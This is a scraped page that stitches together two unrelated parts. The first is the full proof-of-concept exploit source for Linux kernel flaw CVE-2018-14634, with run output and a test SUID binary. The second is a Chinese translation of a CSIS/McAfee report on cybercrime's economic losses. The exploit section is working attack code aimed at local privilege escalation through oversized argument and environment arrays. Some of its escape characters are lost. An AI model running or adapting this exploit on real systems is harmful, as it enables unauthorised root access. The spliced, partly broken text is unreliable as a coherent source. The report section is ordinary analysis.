0x7ffbe114d82b LD_LIBRARY_PATH=.
0x7ffbe114df60 LD_LIBRARY_PATH=.
0x7ffbe114df72 LD_LIBRARY_PATH=.
...
0x7ffbe114e69e LD_LIBRARY_PATH=.
0x7ffbe114e6b0 LD_LIBRARY_PATH=.
0x7ffbe114e6c2 LD_LIBRARY_PATH=.
real 5m38.666s
user 0m0.049s
sys 1m57.828s
## PoC
/*
* poc-exploit.c for CVE-2018-14634
* Copyright (C) 2018 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <limits.h>
#include <paths.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#define MAPCOUNT_ELF_CORE_MARGIN (5)
#define DEFAULT_MAX_MAP_COUNT (USHRT_MAX - MAPCOUNT_ELF_CORE_MARGIN)
#define PAGESZ ((size_t)4096)
#define MAX_ARG_STRLEN ((size_t)128 << 10)
#define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF)
#define die() do {
fprintf(stderr, "died in %s: %un", __func__, __LINE__);
exit(EXIT_FAILURE);
} while (0)
int
main(void)
{
if (sizeof(size_t) != sizeof(uint64_t)) die();
const size_t alpha = 512;
const size_t sprand = 8192;
const size_t beta = (size_t)9 << 10;
const size_t items = (size_t)1 << 31;
const size_t offset = items * sizeof(uintptr_t);
#define LLP "LD_LIBRARY_PATH=."
static char preload_env[MAX_ARG_STRLEN];
{
char * const sp = stpcpy(preload_env, "LD_PRELOAD=");
char * cp = preload_env + sizeof(preload_env);
size_t n;
for (n = 1; n <= (size_t)(cp - sp) / sizeof(LLP); n++) {
size_t i;
for (i = n; i; i--) {
*--cp = (n == 1) ? '' : (i == n) ? ':' : '0';
cp -= sizeof(LLP)-1;
memcpy(cp, LLP, sizeof(LLP)-1);
}
}
memset(sp, ':', (size_t)(cp - sp));
if (memchr(preload_env, '', sizeof(preload_env)) !=
preload_env + sizeof(preload_env)-1) die();
}
const char * const protect_envp[] = {
preload_env,
};
const size_t protect_envc = sizeof(protect_envp) / sizeof(protect_envp[0]);
size_t _protect_envsz = 0;
{
size_t i;
for (i = 0; i < protect_envc; i++) {
_protect_envsz += strlen(protect_envp[i]) + 1;
}
}
const size_t protect_envsz = _protect_envsz;
const size_t scratch_envsz = (size_t)1 << 20;
const size_t scratch_envc = scratch_envsz / MAX_ARG_STRLEN;
if (scratch_envsz % MAX_ARG_STRLEN) die();
static char scratch_env[MAX_ARG_STRLEN];
memset(scratch_env, ' ', sizeof(scratch_env)-1);
const size_t onebyte_envsz = (size_t)256 << 10;
const size_t onebyte_envc = onebyte_envsz / 1;
const size_t padding_envsz = offset + alpha;
/***/ size_t padding_env_rem = padding_envsz % MAX_ARG_STRLEN;
const size_t padding_envc = padding_envsz / MAX_ARG_STRLEN + !!padding_env_rem;
static char padding_env[MAX_ARG_STRLEN];
memset(padding_env, ' ', sizeof(padding_env)-1);
static char padding_env1[MAX_ARG_STRLEN];
if (padding_env_rem) memset(padding_env1, ' ', padding_env_rem-1);
const size_t envc = protect_envc + scratch_envc + onebyte_envc + padding_envc;
if (envc > MAX_ARG_STRINGS) die();
const size_t argc = items - (1 + 1 + envc + 1);
if (argc > MAX_ARG_STRINGS) die();
const char * const protect_argv[] = {
"./poc-suidbin",
};
const size_t protect_argc = sizeof(protect_argv) / sizeof(protect_argv[0]);
if (protect_argc >= argc) die();
size_t _protect_argsz = 0;
{
size_t i;
for (i = 0; i < protect_argc; i++) {
_protect_argsz += strlen(protect_argv[i]) + 1;
}
}
const size_t protect_argsz = _protect_argsz;
const size_t padding_argc = argc - protect_argc;
const size_t padding_argsz = (offset - beta) - (alpha + sprand / 2 +
protect_argsz + protect_envsz + scratch_envsz + onebyte_envsz / 2);
const size_t padding_arg_len = padding_argsz / padding_argc;
/***/ size_t padding_arg_rem = padding_argsz % padding_argc;
if (padding_arg_len >= MAX_ARG_STRLEN) die();
if (padding_arg_len < 1) die();
static char padding_arg[MAX_ARG_STRLEN];
memset(padding_arg, ' ', padding_arg_len-1);
static char padding_arg1[MAX_ARG_STRLEN];
memset(padding_arg1, ' ', padding_arg_len);
const char ** const envp = calloc(envc + 1, sizeof(char *));
if (!envp) die();
{
size_t envi = 0;
size_t i;
for (i = 0; i < protect_envc; i++) {
envp[envi++] = protect_envp[i];
}
for (i = 0; i < scratch_envc; i++) {
envp[envi++] = scratch_env;
}
for (i = 0; i < onebyte_envc; i++) {
envp[envi++] = "";
}
for (i = 0; i < padding_envc; i++) {
if (padding_env_rem) {
envp[envi++] = padding_env1;
padding_env_rem = 0;
} else {
envp[envi++] = padding_env;
}
}
if (envi != envc) die();
if (envp[envc] != NULL) die();
if (padding_env_rem) die();
}
const size_t filemap_size = ((padding_argc - padding_arg_rem) * sizeof(char *) / (DEFAULT_MAX_MAP_COUNT / 2) + PAGESZ-1) & ~(PAGESZ-1);
const size_t filemap_nptr = filemap_size / sizeof(char *);
char filemap_name[] = _PATH_TMP "argv.XXXXXX";
const int filemap_fd = mkstemp(filemap_name);
if (filemap_fd <= -1) die();
if (unlink(filemap_name)) die();
{
size_t i;
for (i = 0; i < filemap_nptr; i++) {
const char * const ptr = padding_arg;
if (write(filemap_fd, &ptr, sizeof(ptr)) != (ssize_t)sizeof(ptr)) die();
}
}
{
struct stat st;
if (fstat(filemap_fd, &st)) die();
if ((size_t)st.st_size != filemap_size) die();
}
const char ** const argv = mmap(NULL, (argc + 1) * sizeof(char *), PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (argv == MAP_FAILED) die();
if (protect_argc > PAGESZ / sizeof(char *)) die();
if (mmap(argv, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argv) die();
{
size_t argi = 0;
{
size_t i;
for (i = 0; i < protect_argc; i++) {
argv[argi++] = protect_argv[i];
}
}
{
size_t n = padding_argc;
while (n) {
void * const argp = &argv[argi];
if (((uintptr_t)argp & (PAGESZ-1)) == 0) {
if (padding_arg_rem || n < filemap_nptr) {
if (mmap(argp, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argp) die();
} else {
if (mmap(argp, filemap_size, PROT_READ, MAP_FIXED | MAP_PRIVATE, filemap_fd, 0) != argp) die();
argi += filemap_nptr;
n -= filemap_nptr;
continue;
}
}
if (padding_arg_rem) {
argv[argi++] = padding_arg1;
padding_arg_rem--;
} else {
argv[argi++] = padding_arg;
}
n--;
}
}
if (argi != argc) die();
if (argv[argc] != NULL) die();
if (padding_arg_rem) die();
}
{
static const struct rlimit stack_limit = {
.rlim_cur = RLIM_INFINITY,
.rlim_max = RLIM_INFINITY,
};
if (setrlimit(RLIMIT_STACK, &stack_limit)) die();
}
execve(argv[0], (char * const *)argv, (char * const *)envp);
die();
}
## SUID-root二进制文件
/*
* poc-suidbin.c for CVE-2018-14634
* Copyright (C) 2018 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define die() do {
fprintf(stderr, "died in %s: %un", __func__, __LINE__);
exit(EXIT_FAILURE);
} while (0)
int
main(const int argc, const char * const * const argv, const char * const * const envp)
{
printf("argc %dn", argc);
char stack = '';
printf("stack %p < %p < %p < %p < %pn", &stack, argv, envp, *argv, *envp);
#define LLP "LD_LIBRARY_PATH"
const char * const llp = getenv(LLP);
printf("getenv %p %sn", llp, llp);
const char * const * env;
for (env = envp; *env; env++) {
if (!strncmp(*env, LLP, sizeof(LLP)-1)) {
printf("%p %sn", *env, *env);
}
}
exit(EXIT_SUCCESS);
} | 社区文章 |
# 研究报告：网络犯罪所造成的经济损失
|
##### 译文声明
本文是翻译文章，文章原作者 James Lewis，文章来源：McAfee
原文地址：<https://s.secrss.com/files/%E7%BD%91%E7%BB%9C%E7%8A%AF%E7%BD%AA%E9%80%A0%E6%88%90%E7%BB%8F%E6%B5%8E%E6%8D%9F%E5%A4%B1%E7%A0%94%E7%A9%B6%E6%8A%A5%E5%91%8A-economic-impact-cybercrime.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、网络犯罪概述
网络犯罪（Cybercrime）冷酷无情，数量有增无减，并且永无止境。这种犯罪成本廉价，报酬丰厚，并且犯罪分子被抓住、被惩罚的概率也非常低。高端的网络犯罪分子在技术层面与最先进的信息技术（IT）企业一样复杂，也与这些企业一样响应迅速，采用了云计算、人工智能、软件即服务（Software-as-a-Service）以及加密等技术。目前网络犯罪依然比较简单，因为许多用户没有采取最为基本的防护措施，并且许多技术产品缺乏足够强大的防护能力，而网络犯罪分子会同时使用简单以及高级的技术来识别目标，实现自动化的软件创建及传播过程，从所窃取的数据中谋取利益。
本篇报告是CSIS与McAfee合作的关于网络犯罪所造成的损失的第3份报告（前两篇分别为2013年的“The Economic Impact of
Cybercrime”以及2014年的“Net
Losses”）。在这些报告中，我们将网络犯罪与其他类似的犯罪相对比，划分了这类犯罪所造成损失的上下限。我们发现网络犯罪行为成功变现（获取金钱）的困难程度可能会干扰统计结果（这种情况对知识产权窃取案件而言更是如此），犯罪分子并不总是能够将所盗取的所有信息全部变现（该结论源自于我们与经济学家和律师人员所举行的两次圆桌会议）。在2014年的报告中，我们调查了关于国家损失的公开情报，累计调查了大约50个国家的相关数据。在某些情况下，我们采用了网络安全官员（包括G7集团的所有国家）对犯罪行为所造成的损失的估计数据。结合2013年的报告及研究成果，我们可以估算出网络犯罪所造成的经济损失占国内生产总值（GDP）的百分比。我们将此估算值与少数几个国家所报告的数据进行了对比（我们认为这几个多家所统计及报告的数据更为可信）。
随着非法活动的不断发展，网络犯罪“市值”已经不像过去那样独占鳌头。现在这一荣誉已经让位于政府腐败问题，其次是毒品贩卖问题。如果以美元换算，网络犯罪在全球范围所造成的损失可以排在第三位。
网络犯罪之所以成为行业翘楚，原因在于它的受害人数可达数亿级别。保守估计表明，全世界2/3网民（超过20亿）的个人信息曾被窃取或受到影响。一项调查发现，64%的美国人是欺诈攻击或者个人信息泄露的受害者。网络犯罪涉及到每一个人，因此已成为新闻热点。
网络犯罪在风险收益率方面也处于领先地位。这是一种低风险犯罪，能提供丰厚回报。一个聪明的网络犯罪分子可以拿到数十万甚至数百万美元，并且基本不会被逮捕或者监禁。当你在头脑里面想到某个大型的网络犯罪活动时（比如SWIFT以及Equifax安全事件），迄今为止没有任何背后黑手受到起诉。执法机构可能非常积极也非常善于追捕网络犯罪分子，但很多人在他们的管辖范围之外，这也是网络犯罪为何日渐猖獗的原因之一。
据CSIS估计，2014年网络犯罪给全球经济带来了约5,000亿美元的损失，约占全球收入的0.7%。这已经超过了不少国家的收入，使网络犯罪成为非常有利可图的一门职业。目前，我们估计网络犯罪可能造成6000亿美元的损失，占全球GDP的0.8%。这种程度的增长有如下几点原因：
1、网络犯罪分子响应迅速，采用了许多新技术。
2、新生网民数量不断增长（主要来自于缺乏网络安全保护的低收入国家）。
3、网络犯罪即服务（Cybercrime-as-a-Service）增长使网络犯罪门槛越来越低。
4、包括巴西、印度、朝鲜以及越南在内的新型网络犯罪“中心”不断涌现。
5、顶级网络犯罪分子可以采用更多且更为成熟的金融手段，使变现过程更加容易。
将窃取的数据变现一直以来都是让网络犯罪分子头疼的一个问题，然而，随着网络犯罪黑市的完善、数字货币的使用，这一难题也逐渐被解决。暗网上有各种经纪人以及其他中介机构通过复杂交易方式大量销售被盗取的信用卡号码以及个人身份信息（personally
identifiable
information，PII）。犯罪分子通过一系列复杂的转移手段，将获取的金钱转移到自己的银行账户中。非法获取的知识产权信息要么被购买方所使用，要么继续出售。数字货币的出现使得勒索软件的支付方式更加便利，可追踪性更低。货币变现越来越容易，这也是网络犯罪日益猖獗的另一个原因。
网络犯罪规模非常庞大。互联网上的恶意攻击活动数量上非常惊人。据某家主流的互联网服务提供商（internet service
provider，ISP）提供的数据，该服务商每天能够探测到800亿次恶意扫描，网络犯罪分子通过自动化扫描来识别存在漏洞的目标。许多研究人员会跟踪新发布的恶意软件的数量，估计每天约有30万到100万种病毒以及其他类型的恶意软件问世。这些恶意软件中，大多数为自动化脚本，可以搜索互联网上存在漏洞的设备及网络。网络钓鱼仍然是实施网络犯罪最为常见以及最为容易的一种方式，根据反钓鱼工作小组（Anti-Phishing Working
Group，APWG）的记录数据，2016年的钓鱼攻击次数超过了120万次，其中许多攻击与勒索软件有关。这个数据可能还是一个保守数值，根据联邦调查局（FBI）的统计，2016年每天大约有4,000起勒索软件攻击事件。隐私权清算中心（Privacy
Rights Clearing House）估计2016年的数据泄露事件中，约有48亿条记录被公诸于世，其中黑客攻击事件约占其中的60%。
表1. 每日的网络犯罪次数
新型技术使个人以及企业办事能够更加高效以及有效，对网络犯罪分子而言也是如此。网络犯罪分子也会第一时间采用新型技术。恶意软件已经可以实现自动化编写，每天都有数千个新的恶意软件问世。TOR是一款免费的软件，可以让用户在互联网上匿名行动，且无法被追踪，现在TOR已经成为网络犯罪分子的首选通道，借此在“暗网”中自由穿行。互联网正逐渐转移到移动平台，网络犯罪也遵循这一潮流。某些网络犯罪分子甚至会使用人工智能工具来查找目标。比特币以及其他数字货币既是攻击者的盗取目标，也是网络犯罪分子的支付手段以及汇款手段。比如，朝鲜之前曾经攻击过韩国的比特币交易所（在比特币未被禁止之前）。其他国家的比特币交易所也是攻击者的攻击目标，随着数字货币价值的不断提升，它们也会变成攻击者炙手可热的目标。
犯罪分子会将匿名服务与匿名数字货币以及已经非常成熟的网络犯罪黑市结合在一起，这种组织方式非常复杂，专业化程度较高，与一系列攻击工具结合，来规避网络防御机制。犯罪分子过去面临的一个主要问题现在已经得到解决，即：如何将所窃取的信息成功变现。像“Tor”网络、数字货币以及暗网这样的匿名服务混合在一起后，就可以在现实世界中构建一个平行世界，为网络犯罪分子提供武器库以及避难所。
我们预测未来网络犯罪会继续增长，因为黑客会挖掘缺乏保护的“物联网（IoT）”设备的价值。虽然这些设备本身价值不大，但它们能够提供新型、简便的方法来窃取个人信息或者访问有价值的数据或者网络。IoT设备同样还能发起大规模拒绝服务（DoS）攻击，使企业或者个人无法正常提供服务，增加运营成本。网络犯罪同样会继续增长，因为黑客会继续使用人工智能工具来创建恶意软件、识别目标，并会迁移到云端。犯罪分子将挖掘云服务价值，既将其当作目标，也将其作为实用工具来托管恶意软件并发动DoS攻击。
## 二、全球损失
互联网上的犯罪活动涉及各个方面，因为人类犯罪活动的所有元素都已经迁移到网络空间中。根据一位英国高级官员的报告，英国境内所报告的所有犯罪活动有一半与网络有关。我们并没有去衡量互联网上所有恶意活动所造成的全部损失，而是将范围缩小到非法访问受害者主机或网络所造成的损失。根据这个定义，网络犯罪所造成的损失包括如下几个元素：
1、知识产权以及商业机密信息的损失；
2、在线欺诈攻击以及金融犯罪活动，通常这些犯罪行为都是源自于个人身份信息（PII）的泄露；
3、操控金融行业，攻击者窃取了关于公司可能合并的敏感商业信息或者提前知道上市公司的业绩报告；
4、机会成本，包括生产或服务流程的中断以及人们对在线活动信任度的下降。勒索软件在这一方面功不可没，受害者需要向勒索软件支付赎金才能恢复加密数据，更重要的是，勒索软件会严重影响正常服务及产出。
5、网络安全成本，比如购买网络安全险、网络攻击灾后恢复的支出等等。
6、被攻击的公司及其品牌所受到的声誉上的损失以及责任上的风险，比如临时性的股价崩溃等。
如何评价网络犯罪所造成的损失依然没有固定标准，从数百亿美元到万亿美元甚至更多。这表明这方面仍缺乏准确的数据以及统一的方法。我们借鉴了经济研究领域历史上的建模技术，这个领域中数据通常是不完整且不连续的，可以对网络犯罪的损害进行建模分析。建模分析后，CSIS估计网络犯罪给全球造成约6000亿美元的损失。
这一数字与三年前相比有了显著的增长。CSIS认为有五种趋势可以解释这一现象。一是受国家支持的银行抢劫案件，二是勒索软件，三是网络犯罪即服务，四是对匿名服务（如Tor以及数字货币）的逐步依赖，五是个人信息被盗用以及知识产权（IP）被窃取的普遍性。
将各种因素考虑在内后，2014年CSIS估计网络犯罪给全世界带来的损失约在3450亿美元和4450亿美元之间，这一数值占当时全球经济GDP的0.62%。采用同样方法进行衡量后，CSIS现在认为这一数值应该位于4450亿美元至6000亿美元之间。采用另一种方法进行估算后，我们认为2016年网络犯罪给全球经济带来的损失约占整体GDP的0.8%。我们收集了公司以及政府的损失报告中的可靠数据并进行评估，这些国家的GDP值在全球中的份额约为三分之二。
表2. 2017年网络犯罪的区域分布情况
CSIS将损失程度与网络安全的成熟度进行了关联比较。全球网络安全指数（Global Cybersecurity
Index，GCI）是国际电联（ITU）倡议的一项指标，可以用来衡量各国对各行业和各部门网络安全的投入程度。每个国家的网络安全发展水平可以分为五类：法律措施、技术措施、组织措施、能力建设以及协同合作。我们将调研结果分为3个类别：经济已经实现数字化且网络安全能力较为成熟的国家；经济逐渐数字化但仍在发展其网路安全能力的国家；以及经济刚刚开始数字化且网络安全刚开始起步的国家。
表3. 网络犯罪与成熟指数（全球网络安全指数）的关联性
网络犯罪所造成的损失在世界各国中并不均衡。CSIS发现该数值与具体地区、收入水平以及网络安全成熟度有关系。某个国家越富有，网络犯罪所造成的损失可能就越大，这一点并不奇怪。发展中国家与网络犯罪的关系非常复杂，因为这些国家中数以百万的互联网移动连接存在各种可利用漏洞，但想从这些连接中提取有价值信息仍然较为有限。如果较为富裕的国家在安全防御方面较为薄弱，则很容易吸引犯罪分子的火力。损失最大的国家（占国民收入百分比最大）属于中等国家：已经实现经济数字化但网络安全方面尚未完全胜任。
表4. 各类国家所占百分比（根据世界银行收入进行划分）
## 三、估算误差
在对网络犯罪所造成的损失进行估算时，任何估算方法都会面临一些问题。第一个就是受害者并没有完全反馈，政府部门收集的数据也并不完全，如果某个国家各行业部门的报告规则没有统一，那么这个问题会更加复杂。比如，英国估计只有13%的网络犯罪活动被公之于众。大多数政府可以告诉公众被窃取的车的数量，甚至被窃取的邮票的具体数量，但很难给出网络犯罪的具体数值。数据收集仍然是一个问题，国家级别的估算仍然非常不准确。没有拿到完整的报告数据仍然是估算网络犯罪所造成的损失的最大限制因素。由于企业力求避免承担责任风险，怕声誉被损坏，因此只会报告一小部分损失。
第二个问题，由于人们担心受到网络犯罪的影响，因此选择回退到纸面办公或者避免在线交易，这种风险规避行为所造成的成本非常难以估计。一般来说，数字技术非常有魅力，个人或企业很难因此放弃使用互联网，但由于网络犯罪的风行，这种变化正在逐日产生。
第三个问题，也是最大的一个问题，那就是我们的估算方法只能给出国家所承担的整体损失，并不会精确到某个企业或者某个消费者，对于受害者而言，这种算法无法准确反应偏差分布。比如，如果某个国家有10家企业，每年因网络犯罪损失了100美元，那么每家企业的平均成本为10美元。但事实上，真正的分布情况是有两家企业损失了50美元，其他8家公司没有损失或者损失很少。对于国家级别的统计数据而言，企业之间的损失分布并不准确，甚至某些公司并不知道他们已经遭受到损失。
为了给出网络犯罪造成的损失的具体范围，也为了检查我们的估算值是否合理，我们又再次查看了能够量化的其他犯罪行为，以进一步确定恶意网络活动所造成的具体损失。犯罪行为是社会交往以及国际事务中非常“正常”的一个部分，各国政府会自主也会采用协作方式管理并降低犯罪所造成的影响。我们认为网络犯罪与其他犯罪活动存在相似性。
1、 **盗版：**
有人估计，2012年盗版所造成的损失约在5.7亿美元至61亿美元之间，而对于西非以及东非国家来说，2016年盗版所造成的损失约为42亿美元。
2、 **盗窃：** 企业在经商的时候也将因盗窃受到的损失纳入成本中去。以盗窃率为例，美国网络犯罪所造成的损失约占国民收入的0.5%至2%之间。
3、 **跨国犯罪：**
据联合国毒品及犯罪问题办公室的估计，2012年所有跨国犯罪所造成的损失约为8700亿美元，约占全球GDP的1.2%。其中有6千亿美元来自于非法贩毒。
4、世界经济论坛估计全球犯罪所造成的所有损失约为1.8万亿美元（2011年时的统计数据），约占全球GDP的1.5%。据寰球金融诚信机构估计，2017年所有的跨国犯罪在全球造成的损失约为1.6万亿至2.2万亿美元，其中网络犯罪所占的份额约为七分之一左右。
网络犯罪的相关数据仍然非常稀少，因为世界各地的大多数政府在收集网络犯罪相关数据上的态度非常松懈，也没有给出完整报告。随着网络保险市场的持续增长，保险公司开始制定策略并收集准确数据以估算风险，这种情况可能会有所改变，但这一过程可能需要花费数年才能完成。美国保监会估计，2016年全美售出了10亿美元的网络安全险，该数值占了火灾保险或者海事保险的几分之一（数千亿美元）。
除了少数几种情况以外，网络犯罪对个人受害者的影响可能很低。许多消费者即便非常担心，依然能成功摆脱这类风险。受害企业可能会遭受巨大且令人尴尬的损失，但令我们意外的是，许多大型企业会将黑客攻击所带来的经济损失视为开展在线业务所无法规避的成本。据波恩曼研究所估计，这类犯罪所造成的平均损失为360万美元，这对于大型企业而言只是九牛一毛，不会伤筋动骨。真正的风险在于品牌可能会受到损失，责任风险可能会增大。大型企业（尤其是能“自我保险”的大型企业）都认为他们能够控制任何损失，也许正是因为这种自信，以及少报了许多安全事件，才会让网络犯罪依然如此猖獗。
## 四、金融网络犯罪
银行仍然是高水平网络犯罪分子最热衷的攻击对象，并且这一现象已经维持了至少十年。不同于欺诈和公然盗窃，网络犯罪给金融机构带来了巨大的损失。一份报告称，银行在网络安全方面的支出是非金融机构的三倍，并且银行监管机构就网络犯罪对金融稳定性造成的“系统”风险已经达成了一致。若试图进一步理解金融网络犯罪，我们需要重点关注某三个国家。
由于国家支持大规模的预算、引入大量人才，能够提供司法保护，因此国家已经成为网络犯罪中最危险的源头。CSIS认为，俄罗斯、北朝鲜和伊朗这三个国家在金融机构网络犯罪活动中最为活跃，而间谍活动的翘楚则是中国。伊朗的目标则带有强效及高压特性，比如他们会利用分布式拒绝服务攻击（DDoS）来打击美国的主要银行。
CSIS认为，就网络犯罪而言，影响力最大的两个主要国家是俄罗斯和北朝鲜。他们通过攻击银行以牟利。某个前NSA副局长于3月份公开表示，某些国家正在通过网络抢劫银行。他指的正是2015至2016年期间，利用SWIFT网络实施的针对数十家银行的网络犯罪活动。通过提交虚拟交易口令，位于发展中国家银行的数千万美元被盗。安全研究员认为此次攻击与北朝鲜侦察总局（RGB）有关联。这次攻击为北朝鲜拓宽了其极为有限的外汇获取渠道。
另外，北朝鲜还企图通过窃取加密货币以资助国内政权。仅2017年一年，韩国至少有3家加密货币交易所被北朝鲜黑客列为网络攻击目标。对北朝鲜而言，加密货币非常有价值，他们可以利用比特币的匿名性来规避国家制裁。一些研究人员推测，北朝鲜犯罪分子也参与了攻击行动。他们试图在被攻陷的电脑上秘密安装比特币挖矿软件以窃取加密货币。平壤科技大学已经为学习计算机科学的学生增设比特币和区块链技术的相关课程，这恰好能够证明北朝鲜对加密货币的浓厚兴趣。
由于主要的国际金融机构大多斥资在防御、反欺诈和交易认证方面，技术较先进的国家和有组织的犯罪团体已经将目标转向了防御网络中的“间隙”，试图利用全球金融网络的脆弱点来实施大规模的犯罪。北朝鲜通过SWIFT网络窃取金钱的行动就是一个很典型的案例。由于从单一西方国家大型银行实施大规模窃取的难度较大，RGB将目标转向了小型的、网络防护不完善的、位于发展中国家的银行，例如孟加拉、越南和厄瓜多尔。在攻陷这些银行的网络系统之后，他们利用受害者的银行凭证向位于其他国家的大银行发送类似合法SWIFT的资金转移请求。由于这些请求是合作银行通过已建连通道发送的，因此对于接受请求的银行而言是合法的。这导致了部分资金发生了转移。
CSIS认为俄罗斯在网络犯罪方面处于领导地位，主要反映在黑客社区的能力以及对西方执法的蔑视态度上。俄罗斯与其犯罪组织之间有着复杂而密切的关联，为高级黑客提供了犯罪的温床，特别是针对金融部门实施的网络犯罪。目前世界上网络犯罪技能最娴熟的黑客就居住于俄罗斯，只要他们避开可能被逮捕的国家，就能在一定程度上免于被起诉。例如，一位黑客在俄罗斯情报机构的要求下对雅虎实施网络攻击，获取数百万的账户权限，并将PII信息转移至俄罗斯政府，同时他还利用窃取的数据进行垃圾邮件与信用卡欺诈，以谋取个人利益。
上述这些国家的黑客，无论他们是否隶属于国家，都是全球网络犯罪的主要源头。除非这些国家不再支持黑客行动，或者通过执法对犯罪黑客实施制裁，否则，网络犯罪将仍是一个重大的国际问题。
## 五、勒索软件
勒索软件是发展最为迅速的网络犯罪形式。勒索软件的受害者包括大型公司、中小企业，以及个人消费者。虽然个人的赎金较低，通常为200美元，但实施犯罪的成本低廉，且能够在攻击面达数千个目标的同时避开被逮捕的危险。这正是这类网络犯罪发展如此迅速的原因。尽管许多受害者不愿意支付赎金，这仍是一笔有利可图的买卖。FBI调查研究称，2015年全年的赎金总额为2400万美元，而2016年第一季度的赎金总额高达2.09亿美元。究竟是何种原因促成了如此爆炸式的增长呢？
勒索软件最开始通过邮件以及软盘进行传播，编造谎言声称可以评估个体感染艾滋的风险，邀请受害者参与社会调研。当软盘被插入主机后，软件将直接锁定计算机，并要求受害者将189元美金寄给位于巴拿马的一个邮政信箱。自此以后，勒索软件变得越发复杂，已经由手工开发转向了大众市场。截止2015年，勒索软件通常由犯罪组织自己编写并实施犯罪活动。从2012年至2015年，33款勒索软件被发布，但这个数字在2016年翻了一倍，可使用的新的勒索软件系列产品高达70款。
我们可以看到，勒索软件正在被商业化。仅需几美元，你就可以获取勒索软件的一站式工具包，其中专业产品的售价为3000美金。购买一款勒索软件安装包的中位数成本仅仅为10美金，如此低廉的价格为黑客实施勒索攻击提供了极大的便利。目前，已经有超过6000个在线犯罪平台正在销售勒索软件相关产品和服务，且能够提供超过45000种不同的产品。
随着勒索软件套件的迅速普及，逐渐衍生出一种勒索软件即服务（Ransomware-as-a-Service，RaaS）的概念。RaaS允许勒索软件的作者与其他网络犯罪分子共享代码，这极大地扩宽了这些勒索软件的潜在影响范围。不同于单个个体或组织开发勒索软件后自行发布的过程，RaaS模型允许勒索软件的作者设置平台，便于其他使用者将软件部署到个人的目标列表中。通常情况下，勒索软件的作者会削减赎金的价格，但部分作者可能会收取预付费用，或根据输入指令以及取得服务器控制权的时间长短来收费。电子邮件仍然是最受欢迎的攻击目标计算机的载体。这意味着只要通过暗网获取RaaS产品，但凡能够成功发起钓鱼攻击的攻击者，就能通过勒索软件轻松获利。正是这种易用性推动了勒索软件产业的快速增长，只要仍然有受害者愿意支付赎金，网络犯罪分子就将继续涌向勒索软件产品。
另一个新兴趋势为勒索软件蠕虫，它们通过网络进行传播，能够通过最初感染目标的大面积感染受害计算机。WannaCry事件展示了这类蠕虫病毒的工作原理，并且这类攻击事件未来可能会越来越多。新式的勒索软件攻击将具备更强的渗透能力，在窃取目标文件的同时锁定用户账号。现在，由于全球范围内存在大量的安防性能低下的无线通信设备，勒索软件已将攻击矛头指向了移动系统终端，安卓勒索软件套件已然出现在了流通市场上。物联网设备由于缺乏安全保护，极有可能成为下一步被攻击的目标，尤其是工业物联网设备，在犯罪分子眼里将是潜在的待宰肥羊。
## 六、网络犯罪即服务（Cybercrime-as-a-Service，CaaS）
在过去的20年里，我们可以发现网络犯罪变得越发专业化和复杂化。网络犯罪拥有繁盛的市场，可为有犯罪倾向的分子提供一系列的工具和服务。从诸如漏洞利用套装和定制恶意软件等产品到诸如僵尸网络租赁和勒索软件分发等服务，网络犯罪产品的多样化和数量已达到了历史的巅峰。这导致了网络犯罪的危害性同时在水平和纵深方面延伸。由于新工具和平台易于获取，且参与者无需具备先进技术能力，这导致了大量新生的犯罪分子参与进了网络犯罪的行列。与此同时，经验丰富的犯罪分子得以聚焦于开发更专业的产品，并且能够通过繁盛的暗网生态系统寻找志同道合的人员完善服务或共同开发出前所未有的复杂犯罪工具。
网络犯罪的生态系统始终在持续演变，复杂性也持续提升，从而能够适应不断新增的犯罪分子和新推出的审查监督制度。由于执法行动的威胁，大多数网络犯罪活动转移进入暗网，洋葱路由和比特币的匿名性确保了犯罪分子的身份不易被识别。在这些社区中谈信任是不切实际的，这就导致一些市场推出托管支付系统以促进高风险交易，并且促使部分销售者为产品提供服务支撑和退款保证。市场变得越发层次化，高级犯罪分子倾向于选择专业的讨论区，以此避开警察和诈骗分子的威胁。除此之外，一个繁盛的网络犯罪经济体正从这些社区中诞生，它能提供从产品开发到技术支持、分发、质量保障、甚至于桌面支持等服务。
网络犯罪分子越来越依靠Tor以维持匿名性。Tor是洋葱路由器（Onion
Router）的缩写，它允许用户加密自身流量，通过多个随机中继路由访问目的网站，从而达到匿名浏览互联网的目的。这一过程使得执法机构几乎不可能跟踪用户或者确定网站的访问者身份。尽管Tor可以确保用户匿名访问Wikipedia或YouTube等普通网站，但它对于犯罪分子而言最大的价值在于能够在暗网上访问“dot.onion”等特殊的地址，而这些地址则是大多数互联网地下市场的主页。
截止2017年6月，欧洲刑警组织发现Tor网络拥有超过220万用户，以及近6万个独有的洋葱域名。研究人员对于Tor网络上非法流量占比的意见无法统一，但最近的一项研究表明约有57%的洋葱网站存在非法内容。尽管部分执法行动已经成功利用Tor网络的漏洞依法取缔了儿童色情网站，但Tor网络仍然被认为是对抗执法工作的利器。过去成功关闭暗网市场大部分是利用网站管理员的失误，而不是通过Tor网络本身。
